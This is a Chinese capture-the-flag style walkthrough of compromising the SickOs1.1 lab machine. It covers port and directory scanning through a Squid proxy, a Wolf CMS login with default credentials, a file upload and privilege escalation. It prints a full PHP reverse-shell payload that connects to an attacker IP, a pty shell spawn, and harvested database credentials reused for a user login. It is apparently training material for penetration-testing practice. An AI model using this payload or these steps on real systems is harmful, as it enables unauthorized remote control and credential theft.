一、确定目标
靶机:SickOs1.1
arp-scan -l
二、信息收集
1.端口扫描
经过扫描22,3128,8080三个端口开放
nmap 192.168.2311.150 -p- -sS -sV -A -T5
2.访问网页
经过搜索,3128端口是走了一个Squid代理服务器,只要在浏览器插件添加一个代理即可
3.目录扫描
方式一:dirsearch
用dirsearch挂代理扫描
dirsearch -u http://192.168.231.150 --proxy=192.168.231.150:3128
方式二:dirb
dirb http://192.168.231.150 -p http://192.168.231.150:3128
三、漏洞探测
访问robots.txt文件,发现目录/wolfcms,拼接访问进入wolfcms页面
直接上谷歌搜索wolfcms exp 漏洞,可以看到利用wplfcms的文件上传漏洞
四、漏洞利用
拼接访问/wolfcms/?/admin/plugin/file_manager/browse/
结果需要登录,百度搜索wolfcms默认密码为admin/admin
登陆成功,找到文件上传功能点
选择上传phpshell.php,内容如下,在kali中开启监听端口,访问这个文件即可,拼接/wolfcms/public/phpshell.php(漏洞探测时有说明)即可
<?php
$sock=fsockopen('192.168.231.132',8888);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>
如果用蚁剑连接的话,蚁剑需要设置代理才能连接成功
五、权限提升
1.获得交互式shell
先看一下靶机有没有python,有就使用这条命令即可
python -c 'import pty; pty.spawn("/bin/bash")'
2.收集提权信息
sudo -l 试了需要输入密码,但是我们没有,/etc/passwd可读不可写,/etc/shadow不可读
那就找一下其他文件,找到config.php文件,一看这是数据库密码root john@123
3.连接mysql
这里拿到了mysql数据库密码,连上数据库进去查表发现就一个管理员用户,没有发现有用信息
做到这里思路又没了,迫不得已看了一下攻略,居然直接查看passwd,寻找用户,尝试用数据库密码登录就成功了
4.passwd
到这里就拿到一个用户的账号和密码了